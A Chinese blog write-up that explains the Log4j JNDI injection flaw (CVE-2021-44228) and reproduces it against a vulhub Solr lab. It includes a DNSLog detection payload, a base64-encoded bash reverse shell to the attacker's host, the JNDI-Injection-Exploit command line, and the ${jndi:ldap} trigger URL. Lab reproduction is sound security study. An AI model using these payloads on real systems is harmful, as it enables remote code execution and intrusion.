当前位置: 首页 > article >正文

log4j漏洞原理以及复现

kali:192.168.222.165 本机:192.168.225.18

原理

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

启动docker

进入vulhub/log4j/CVE-2021-44228

启动环境

docker-compose up -d

Windows主机访问

漏洞复现

首先验证漏洞是否存在

在DNSLog Platform    上获取一个地址

利用临时获取的payload访问原来的地址,并将action的参数换成payload

http://192.168.222.165:8983/solr/admin/cores?action=${jndi:ldap://cc6r3j.dnslog.cn}

回到dnslog点击Refresh Record,出现返回结果,说明存在log4j漏洞

进行攻击

应用工具JNDI-Injection-Exploit搭建服务:

下载:

利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

格式:

Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub

 对执行的命令进行加密bash64进行加密

bash -i >& /dev/tcp/192.168.225.18/6666 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xOC82NjY2IDA+JjE=

windows本机进行执行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.225.18

得到rmi、ldap参数:

然后用windows本机进行监听

将DNS的payload换成刚获得的ldap的参数,然后回车访问

ldap://192.168.225.18:1389/tjzlts

192.168.222.165:8983/solr/admin/cores?action=${jndi:ldap://192.168.225.18:1389/tjzlts}

得到权限


http://www.kler.cn/a/290948.html

相关文章:

  • Nuc9 Truenas 和 Macmini4组雷电网桥 上传速度异常 1Mbp/s 解决
  • 未来将要被淘汰的编程语言
  • 分布式系统架构5:限流设计模式
  • 电商项目-网站首页高可用(二)
  • 如何测量分辨率
  • 单片机上电后程序不运行怎么排查问题?
  • 【JUC】12-CAS
  • Nordic Collegiate Programming ContestNCPC 2021
  • Linux基础 -- 获取CPU负载信息
  • 在react 中还有另外一种three.js 渲染方式
  • 生活因科技而美好:一键解锁PDF处理的无限可能
  • 算法打卡 Day29(回溯算法)-复原 IP 地址 + 子集 + 子集 Ⅱ
  • Gin框架中的全局中间件与中间件传值
  • IDEA 安装lombok插件不兼容的问题及解决方法
  • 【弱监督时间动作定位】Probabilistic Vision-Language Representation for WSTAL 论文阅读
  • Linux shell调试:高效定位错误提高脚本可靠性
  • 修改SpringBoot启动图标banner
  • 使用AI写WebSocket知识是一种怎么样的体验?
  • 17. 如何决定使用ArrayList或LinkedList?在什么情况下选择其中之一?
  • 【Linux】进程周边:进程概念
  • RabbitMQ 入门:基本概念、特性及简单示例
  • 职场关系课:辞退下属的行动指南
  • 智能医学(二)——MDPI特刊推荐
  • HarmonyOS开发实战( Beta5.0)自定义组件冻结功能规范
  • flowable 国产数据库并发性能优化
  • Linux 学习之路 - 信号的保存